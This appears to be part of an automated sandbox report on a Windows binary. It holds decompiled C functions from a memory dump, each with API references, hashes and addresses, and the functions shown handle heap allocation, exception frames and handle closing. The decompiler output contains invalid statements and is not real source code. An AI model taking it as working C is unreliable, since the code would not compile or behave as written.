0x0135835b

APIs

__EH_prolog.LIBCMT ref: 013581C9

Part of subcall function 0135137D: __EH_prolog.LIBCMT ref: 01351382
Part of subcall function 0135137D: new.LIBCMT ref: 013513FA

Part of subcall function 01351973: __EH_prolog.LIBCMT ref: 01351978

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 498cc3e06cb5244407542ebb989cfb54e85c50575748ab7c9420e719e92a71c6
Instruction ID: f056e176b462e1dcfef086a8d49338b5e2cefe80808ecc81aad3476f92ea8986
Opcode Fuzzy Hash: 498cc3e06cb5244407542ebb989cfb54e85c50575748ab7c9420e719e92a71c6
Instruction Fuzzy Hash: B841D4719006599ADB64EB69CC54FEAB7BCAF10B48F0400EAD98EA3052DB745BC8DF50

Uniqueness

Uniqueness Score: -1.00%

Function 01362A7F, Relevance: 1.6, APIs: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E01362A7F(void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				void* _t29;
				signed int _t30;
				signed int* _t36;
				signed int _t38;
				intOrPtr _t39;
				intOrPtr _t42;
				signed int _t44;
				void* _t47;
				void* _t48;
				void* _t56;
				void* _t60;
				signed int _t65;
				void* _t67;
				void* _t69;
				void* _t73;

				_t56 = __edx;
				_t48 = __ecx;
				_t29 = E0136D870(E01381486, _t67);
				_push(_t48);
				_push(_t48);
				_t60 = _t48;
				_t44 = 0;
				_t72 =  *((intOrPtr*)(_t60 + 0x20));
				if( *((intOrPtr*)(_t60 + 0x20)) == 0) {
					_push(0x400400); // executed
					_t42 = E0136DB02(_t48, _t56, 0x400400, _t72); // executed
					 *((intOrPtr*)(_t60 + 0x20)) = _t42;
					_t29 = E0136E920(_t60, _t42, 0, 0x400400);
					_t69 = _t69 + 0x10;
				}
				_t73 =  *(_t60 + 0x18) - _t44;
				if(_t73 == 0) {
					_t65 =  *((intOrPtr*)(_t60 + 0x1c)) +  *((intOrPtr*)(_t60 + 0x1c));
					_t30 = _t65;
					 *(_t67 - 0x10) = _t65;
					_t58 = _t30 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t73 > 0x00000000) | ( ~(_t73 > 0) | _t30 * 0x00004ae4) + 0x00000004);
					_t36 = E0136DB02(( ~(_t73 > 0) | _t30 * 0x00004ae4) + 4, _t30 * 0x4ae4 >> 0x20, _t65, _t73);
					_pop(0x13900e0);
					 *(_t67 - 0x14) = _t36;
					 *(_t67 - 4) = _t44;
					_t74 = _t36;
					if(_t36 != 0) {
						_push(E01361788);
						_push(E01361611);
						_push(_t65);
						_t16 =  &(_t36[1]); // 0x4
						_t44 = _t16;
						 *_t36 = _t65;
						_push(0x4ae4);
						_push(_t44);
						E0136D96D(_t58, _t74);
					}
					 *(_t67 - 4) =  *(_t67 - 4) | 0xffffffff;
					 *(_t60 + 0x18) = _t44;
					_t29 = E0136E920(_t60, _t44, 0, _t65 * 0x4ae4);
					if(_t65 != 0) {
						_t38 = 0;
						 *(_t67 - 0x10) = 0;
						do {
							_t47 =  *(_t60 + 0x18) + _t38;
							if( *((intOrPtr*)(_t47 + 0x4ad4)) == 0) {
								 *((intOrPtr*)(_t47 + 0x4adc)) = 0x4100;
								_t39 = E01372B53(0x13900e0); // executed
								 *((intOrPtr*)(_t47 + 0x4ad4)) = _t39;
								0x13900e0 = 0x30c00;
								if(_t39 == 0) {
									E01356D3A(0x13900e0);
								}
								_t38 =  *(_t67 - 0x10);
							}
							_t38 = _t38 + 0x4ae4;
							 *(_t67 - 0x10) = _t38;
							_t65 = _t65 - 1;
						} while (_t65 != 0);
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t67 - 0xc));
				return _t29;
			}

0x01362a7f
0x01362a7f
0x01362a84
0x01362a89
0x01362a8a
0x01362a8e
0x01362a90
0x01362a92
0x01362a95
0x01362a9c
0x01362a9d
0x01362aa5
0x01362aa8
0x01362aad
0x01362aad
0x01362ab0
0x01362ab3
0x01362abe
0x01362ac5
0x01362ac7
0x01362aca
0x01362adf
0x01362ae0
0x01362ae5
0x01362ae6
0x01362ae9
0x01362aec
0x01362aee
0x01362af0
0x01362af5
0x01362afa
0x01362afb
0x01362afb
0x01362afe
0x01362b00
0x01362b05
0x01362b06
0x01362b06
0x01362b0b
0x01362b15
0x01362b1c
0x01362b26
0x01362b28
0x01362b2a
0x01362b2d
0x01362b30
0x01362b39
0x01362b40
0x01362b4a
0x01362b4f
0x01362b55
0x01362b58
0x01362b5f
0x01362b5f
0x01362b64
0x01362b64
0x01362b67
0x01362b6c
0x01362b6f
0x01362b6f
0x01362b2d
0x01362b26
0x01362b7a
0x01362b84

APIs

__EH_prolog.LIBCMT ref: 01362A84

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7a07a1620459099f264cae3fefddd52f3f2efccac5d944f40136c7645b50be62
Instruction ID: 8b9d20f92c1fac4aa369bd44ec0444ca8e2e57ffc36f528a687194f069329af2
Opcode Fuzzy Hash: 7a07a1620459099f264cae3fefddd52f3f2efccac5d944f40136c7645b50be62
Instruction Fuzzy Hash: 0B2104B1F40212AFDB14DFBDDC45A6B76BCEF14218F00823AE509EB285D7749900C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 01369EEF, Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E01369EEF(void* __ecx, void* __edx, void* __eflags) {
				void* __edi;
				void* __esi;
				short _t33;
				char _t36;
				short _t38;
				void* _t47;
				void* _t50;
				short _t55;
				void* _t57;
				void* _t58;
				short _t60;
				void* _t62;
				intOrPtr _t64;
				void* _t67;

				_t67 = __eflags;
				_t57 = __edx;
				_t47 = __ecx;
				E0136D870(E013814E1, _t62);
				_push(_t47);
				E0136D940();
				_push(_t60);
				_push(_t58);
				 *((intOrPtr*)(_t62 - 0x10)) = _t64;
				 *((intOrPtr*)(_t62 - 4)) = 0;
				E0135137D(_t62 - 0x7d24, _t57, _t58, _t67, 0); // executed
				 *((char*)(_t62 - 4)) = 1;
				E01351E9E(_t62 - 0x7d24, _t57, _t62, _t67,  *((intOrPtr*)(_t62 + 0xc)));
				if( *((intOrPtr*)(_t62 - 0x105f)) == 0) {
					 *((intOrPtr*)(_t62 - 0x24)) = 0;
					 *((intOrPtr*)(_t62 - 0x20)) = 0;
					 *((intOrPtr*)(_t62 - 0x1c)) = 0;
					 *((intOrPtr*)(_t62 - 0x18)) = 0;
					 *((char*)(_t62 - 0x14)) = 0;
					 *((char*)(_t62 - 4)) = 2;
					_t50 = _t62 - 0x7d24;
					_t33 = E0135192E(_t57, _t62 - 0x24);
					__eflags = _t33;
					if(_t33 != 0) {
						_t60 =  *((intOrPtr*)(_t62 - 0x20));
						_t58 = _t60 + _t60;
						_push(_t58 + 2); // executed
						_t38 = E01372B53(_t50); // executed
						_t55 = _t38;
						 *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x10)))) = _t55;
						__eflags = _t55;
						if(_t55 != 0) {
							__eflags = 0;
							 *((short*)(_t58 + _t55)) = 0;
							E0136EA80(_t55,  *((intOrPtr*)(_t62 - 0x24)), _t58);
						} else {
							_t60 = 0;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x14)))) = _t60;
					}
					E013515E3(_t62 - 0x24);
					E0135162D(_t62 - 0x7d24, _t58, _t60); // executed
					_t36 = 1;
				} else {
					E0135162D(_t62 - 0x7d24, _t58, _t60);
					_t36 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t62 - 0xc));
				return _t36;
			}

0x01369eef
0x01369eef
0x01369eef
0x01369ef4
0x01369ef9
0x01369eff
0x01369f05
0x01369f06
0x01369f09
0x01369f13
0x01369f16
0x01369f24
0x01369f28
0x01369f33
0x01369f44
0x01369f47
0x01369f4a
0x01369f4d
0x01369f50
0x01369f56
0x01369f5b
0x01369f61
0x01369f66
0x01369f68
0x01369f6a
0x01369f6d
0x01369f73
0x01369f74
0x01369f7a
0x01369f7f
0x01369f81
0x01369f83
0x01369f89
0x01369f8c
0x01369f94
0x01369f85
0x01369f85
0x01369f85
0x01369f9f
0x01369f9f
0x01369fa4
0x01369faf
0x01369fb4
0x01369f35
0x01369f3b
0x01369f40
0x01369f40
0x01369fbb
0x01369fc6

APIs

__EH_prolog.LIBCMT ref: 01369EF4

Part of subcall function 0135137D: __EH_prolog.LIBCMT ref: 01351382
Part of subcall function 0135137D: new.LIBCMT ref: 013513FA

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8051d03952f55dd73ddcc94a3748aec95efd0e940592683a0e88f69529709159
Instruction ID: e12f01e9ee50c87ded84d9b5c8f1c1482d6d8c7d4d4737f908402400e1d76266
Opcode Fuzzy Hash: 8051d03952f55dd73ddcc94a3748aec95efd0e940592683a0e88f69529709159
Instruction Fuzzy Hash: 8C215175D0425ADECF14DF99C940AEEBBF8BF29618F0044EEE809A7201D7356E09CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0135910B, Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0135910B(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				void* _t21;
				intOrPtr _t22;
				intOrPtr _t27;
				void* _t35;
				intOrPtr _t37;
				intOrPtr _t40;
				void* _t42;
				void* _t49;

				_t35 = __edx;
				E0136D870(E01381321, _t42);
				E01356ED7(_t42 - 0x20, E01357C3C());
				_push( *((intOrPtr*)(_t42 - 0x1c)));
				_push( *((intOrPtr*)(_t42 - 0x20)));
				 *(_t42 - 4) =  *(_t42 - 4) & 0x00000000;
				_t40 = E0135C70F();
				if(_t40 > 0) {
					_t27 =  *((intOrPtr*)(_t42 + 0x10));
					_t37 =  *((intOrPtr*)(_t42 + 0xc));
					do {
						_t22 = _t40;
						asm("cdq");
						_t49 = _t35 - _t27;
						if(_t49 > 0 || _t49 >= 0 && _t22 >= _t37) {
							_t40 = _t37;
						}
						if(_t40 > 0) {
							E0135C8C7( *((intOrPtr*)(_t42 + 8)), _t42,  *((intOrPtr*)(_t42 - 0x20)), _t40);
							asm("cdq");
							_t37 = _t37 - _t40;
							asm("sbb ebx, edx");
						}
						_push( *((intOrPtr*)(_t42 - 0x1c)));
						_push( *((intOrPtr*)(_t42 - 0x20)));
						_t40 = E0135C70F();
					} while (_t40 > 0);
				}
				_t21 = E0135159C(_t42 - 0x20); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t42 - 0xc));
				return _t21;
			}

0x0135910b
0x01359110
0x01359122
0x01359127
0x0135912d
0x01359130
0x01359139
0x0135913d
0x01359140
0x01359144
0x01359147
0x01359147
0x01359149
0x0135914a
0x0135914c
0x01359154
0x01359154
0x01359158
0x01359161
0x01359168
0x01359169
0x0135916b
0x0135916b
0x0135916d
0x01359173
0x0135917b
0x0135917d
0x01359182
0x01359186
0x0135918f
0x01359199

APIs

__EH_prolog.LIBCMT ref: 01359110

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 620f3c404c7eb26bf085804aafbae6ef97aca8e45cac4f6bdc00bc903c6c1770
Instruction ID: fb55d57bec8ba4f1bb394106e12fa151cacad9f061787d32b0655c049bca5707
Opcode Fuzzy Hash: 620f3c404c7eb26bf085804aafbae6ef97aca8e45cac4f6bdc00bc903c6c1770
Instruction Fuzzy Hash: 61118277E00539DBCF52ABACCC44EEEBB36AF58A58F054519EC1467250CA358A058BE0

Uniqueness

Uniqueness Score: -1.00%

Function 0136C6FF, Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0136C6FF(void* __ecx, void* __eflags) {
				void* __ebx;
				intOrPtr _t18;
				char _t19;
				char _t20;
				void* _t23;
				void* _t24;
				void* _t26;
				void* _t37;
				void* _t43;
				intOrPtr _t45;

				_t26 = __ecx;
				E0136D870(E01381520, _t43);
				_push(_t26);
				E0136D940();
				_push(_t24);
				 *((intOrPtr*)(_t43 - 0x10)) = _t45;
				E01374D7E(0x13a39fa, "X");
				E0135FB08(0x13a5a1c, _t37, 0x13822e0);
				E01374D7E(0x13a4a1a,  *((intOrPtr*)(_t43 + 0xc)));
				E01355A9F(0x139b708, _t37,  *((intOrPtr*)(_t43 + 0xc)));
				_t4 = _t43 - 4;
				 *(_t43 - 4) =  *(_t43 - 4) & 0x00000000;
				_t18 = 2;
				 *0x13a29d8 = _t18;
				 *0x13a29d4 = _t18;
				 *0x13a29d0 = _t18;
				_t19 =  *0x13975d4; // 0x0
				 *0x13a185b = _t19;
				_t20 =  *0x13975d5; // 0x1
				 *0x13a1894 = 1;
				 *0x13a1897 = 1;
				 *0x13a185c = _t20;
				E01357ADF(_t43 - 0x2108, _t37,  *_t4, 0x139b708);
				 *(_t43 - 4) = 1;
				E01357C55(_t43 - 0x2108, _t37,  *_t4);
				_t23 = E01357B71(_t24, _t43 - 0x2108, _t37); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t43 - 0xc));
				return _t23;
			}

0x0136c6ff
0x0136c704
0x0136c709
0x0136c70f
0x0136c714
0x0136c717
0x0136c724
0x0136c735
0x0136c742
0x0136c753
0x0136c758
0x0136c758
0x0136c764
0x0136c765
0x0136c76a
0x0136c76f
0x0136c774
0x0136c779
0x0136c77e
0x0136c784
0x0136c78b
0x0136c792
0x0136c797
0x0136c7a2
0x0136c7a6
0x0136c7b1
0x0136c7bb
0x0136c7c6

APIs

__EH_prolog.LIBCMT ref: 0136C704

Part of subcall function 01357ADF: __EH_prolog.LIBCMT ref: 01357AE4
Part of subcall function 01357ADF: new.LIBCMT ref: 01357B28

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7973e2f2c65c240495da2442fcb3a1c368184a1eeb1c72bac3ce0aa2bb8f661b
Instruction ID: 5a4570e8beda231784a46858214c5c445d2888c56f857a432c66c91ae8a30ae5
Opcode Fuzzy Hash: 7973e2f2c65c240495da2442fcb3a1c368184a1eeb1c72bac3ce0aa2bb8f661b
Instruction Fuzzy Hash: 94112336905280AED711EBADE401BED7FFCEB34728F40409ED84853346CBB11A84CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0137B0DB, Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0137B0DB(void* __edx, void* __esi, void* __eflags) {
				intOrPtr _v12;
				void* __ecx;
				char _t16;
				void* _t17;
				void* _t26;
				void* _t28;
				void* _t31;
				char _t32;
				void* _t34;
				intOrPtr* _t36;

				_push(_t26);
				_push(_t26);
				_t16 = E01377B1B(_t26, 0x40, 0x30); // executed
				_t32 = _t16;
				_v12 = _t32;
				_t28 = _t31;
				if(_t32 != 0) {
					_t2 = _t32 + 0xc00; // 0xc00
					_t17 = _t2;
					__eflags = _t32 - _t17;
					if(__eflags != 0) {
						_t3 = _t32 + 0x20; // 0x20
						_t36 = _t3;
						_t34 = _t17;
						do {
							_t4 = _t36 - 0x20; // 0x0
							E01379C02(_t28, _t36, __eflags, _t4, 0xfa0, 0);
							 *(_t36 - 8) =  *(_t36 - 8) | 0xffffffff;
							 *_t36 = 0;
							_t36 = _t36 + 0x30;
							 *((intOrPtr*)(_t36 - 0x2c)) = 0;
							 *((intOrPtr*)(_t36 - 0x28)) = 0xa0a0000;
							 *((char*)(_t36 - 0x24)) = 0xa;
							 *(_t36 - 0x23) =  *(_t36 - 0x23) & 0x000000f8;
							 *((char*)(_t36 - 0x22)) = 0;
							__eflags = _t36 - 0x20 - _t34;
						} while (__eflags != 0);
						_t32 = _v12;
					}
				} else {
					_t32 = 0;
				}
				E01377A50(0);
				return _t32;
			}

0x0137b0e0
0x0137b0e1
0x0137b0e8
0x0137b0ed
0x0137b0f1
0x0137b0f5
0x0137b0f8
0x0137b0fe
0x0137b0fe
0x0137b104
0x0137b106
0x0137b109
0x0137b109
0x0137b10c
0x0137b10e
0x0137b114
0x0137b118
0x0137b11d
0x0137b121
0x0137b123
0x0137b126
0x0137b12c
0x0137b133
0x0137b137
0x0137b13b
0x0137b13e
0x0137b13e
0x0137b142
0x0137b145
0x0137b0fa
0x0137b0fa
0x0137b0fa
0x0137b147
0x0137b154

APIs

Part of subcall function 01377B1B: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,01378544,00000001,00000364,?,01372E0F,?,?,013900E0), ref: 01377B5C

_free.LIBCMT ref: 0137B147

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 716850c2e0a7a2cb9eae644337a9ab78ac2f4097770ce849c3152d41cd1ba7f1
Instruction ID: e7313bd93b6d18ddb81bfc0a1d073dc58c981b057753b412bcd7c97441bb6d24
Opcode Fuzzy Hash: 716850c2e0a7a2cb9eae644337a9ab78ac2f4097770ce849c3152d41cd1ba7f1
Instruction Fuzzy Hash: 7001497220030AABE731CF6DDC8595AFBFDEB85274F25062DE19583280EB34A805C734

Uniqueness

Uniqueness Score: -1.00%

Function 01377B1B, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E01377B1B(void* __ecx, signed int _a4, signed int _a8) {
				void* __esi;
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t16;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x13b0874, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E01377906();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E01377ECC())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E01376763(_t15, _t16, _t19, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				_t16 = _t13 % _t18;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x01377b1b
0x01377b21
0x01377b26
0x01377b34
0x01377b34
0x01377b3a
0x01377b3c
0x01377b3c
0x01377b53
0x01377b5c
0x01377b64
0x00000000
0x00000000
0x01377b44
0x01377b46
0x01377b68
0x01377b6d
0x01377b73
0x00000000
0x01377b73
0x01377b49
0x01377b4e
0x01377b4f
0x01377b51
0x00000000
0x00000000
0x01377b51
0x00000000
0x01377b53
0x01377b2c
0x01377b2d
0x01377b32
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,01378544,00000001,00000364,?,01372E0F,?,?,013900E0), ref: 01377B5C

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5599247343f30d0957c03a0ff5ac062b2b26f4ecf44feaa8b1abff8f284d8399
Instruction ID: 4c3ef43a49135deb1c7f7c3ba2f335993c7dd920152938fb1a0399f63d276513
Opcode Fuzzy Hash: 5599247343f30d0957c03a0ff5ac062b2b26f4ecf44feaa8b1abff8f284d8399
Instruction Fuzzy Hash: 1BF0E93164132AAAEF321A298C0CF7B3B4D9F516BCF048021EB18DB284CB38D800C2E0

Uniqueness

Uniqueness Score: -1.00%

Function 01355A1D, Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01355A1D(intOrPtr __ecx, void* __eflags) {
				intOrPtr _t25;
				intOrPtr _t34;
				void* _t36;

				_t25 = __ecx;
				E0136D870(E01381216, _t36);
				_push(_t25);
				_t34 = _t25;
				 *((intOrPtr*)(_t36 - 0x10)) = _t34;
				E0135AD1B(_t25); // executed
				_t2 = _t36 - 4;
				 *(_t36 - 4) =  *(_t36 - 4) & 0x00000000;
				E0135FAE6();
				 *(_t36 - 4) = 1;
				E0135FAE6();
				 *(_t36 - 4) = 2;
				E0135FAE6();
				 *(_t36 - 4) = 3;
				E0135FAE6();
				 *(_t36 - 4) = 4;
				E0135FAE6();
				 *(_t36 - 4) = 5;
				E01355C12(_t34,  *_t2);
				 *[fs:0x0] =  *((intOrPtr*)(_t36 - 0xc));
				return _t34;
			}

0x01355a1d
0x01355a22
0x01355a27
0x01355a29
0x01355a2b
0x01355a2e
0x01355a33
0x01355a33
0x01355a3d
0x01355a48
0x01355a4c
0x01355a57
0x01355a5b
0x01355a66
0x01355a6a
0x01355a75
0x01355a79
0x01355a80
0x01355a84
0x01355a8f
0x01355a99

APIs

__EH_prolog.LIBCMT ref: 01355A22

Part of subcall function 0135AD1B: __EH_prolog.LIBCMT ref: 0135AD20

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8eeee17ca8e91974f3e236fa0d65db37953943c3d58c6d36107e4d0fc647e016
Instruction ID: 3e915f17848019bf75ea83a5b51dd1cf80ffeb62d35b2d1333a28e5d1ed1a914
Opcode Fuzzy Hash: 8eeee17ca8e91974f3e236fa0d65db37953943c3d58c6d36107e4d0fc647e016
Instruction Fuzzy Hash: 3501D130A19286CAE705E7ACC104BEEB7E89F6570CF00068CD84A53380CBB82B04CB63

Uniqueness

Uniqueness Score: -1.00%

Function 01377A8A, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E01377A8A(void* __ecx, long _a4) {
				void* __esi;
				void* _t4;
				void* _t6;
				void* _t7;
				void* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = _a4;
				if(_t9 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E01377ECC())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t9 == 0) {
					_t9 = _t9 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x13b0874, 0, _t9); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E01377906();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E01376763(_t7, _t8, _t9, __eflags, _t9);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x01377a8a
0x01377a90
0x01377a96
0x01377ac8
0x01377acd
0x01377ad3
0x00000000
0x01377ad3
0x01377a9a
0x01377a9c
0x01377a9c
0x01377ab3
0x01377abc
0x01377ac4
0x00000000
0x00000000
0x01377aa4
0x01377aa6
0x00000000
0x00000000
0x01377aa9
0x01377aae
0x01377aaf
0x01377ab1
0x00000000
0x00000000
0x01377ab1
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,01372FA6,?,0000015D,?,?,?,?,01374482,000000FF,00000000,?,?), ref: 01377ABC

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f8b380088fa43ae4ffb2be4b9e0eac7f64c647044461a65790b5bb5e6a3ffea7
Instruction ID: 341ca3c44240de00bb4b92018ed862ac5eca44f49053949bfa18c11b86537ad0
Opcode Fuzzy Hash: f8b380088fa43ae4ffb2be4b9e0eac7f64c647044461a65790b5bb5e6a3ffea7
Instruction Fuzzy Hash: 94E0E53160022766F6B136AD8D0CB5B3E8CEB112B8F090120ED14966D4DB28CA00C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 013594DA, Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E013594DA(void* __ecx) {
				void* _t16;
				void* _t21;

				_t21 = __ecx;
				_t16 = 1;
				if( *(__ecx + 4) != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t5 = FindCloseChangeNotification( *(__ecx + 4)) - 1; // -1
						asm("sbb bl, bl");
						_t16 =  ~_t5 + 1;
					}
					 *(_t21 + 4) =  *(_t21 + 4) | 0xffffffff;
				}
				 *(_t21 + 0xc) =  *(_t21 + 0xc) & 0x00000000;
				if(_t16 == 0 &&  *((intOrPtr*)(_t21 + 0x14)) != _t16) {
					E01356C7B(0x13900e0, _t21 + 0x1e);
				}
				return _t16;
			}

0x013594dc
0x013594de
0x013594e4
0x013594ea
0x013594fb
0x01359500
0x01359502
0x01359502
0x01359504
0x01359504
0x01359508
0x0135950e
0x0135951e
0x0135951e
0x01359527

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,013594AA), ref: 013594F5

Memory Dump Source

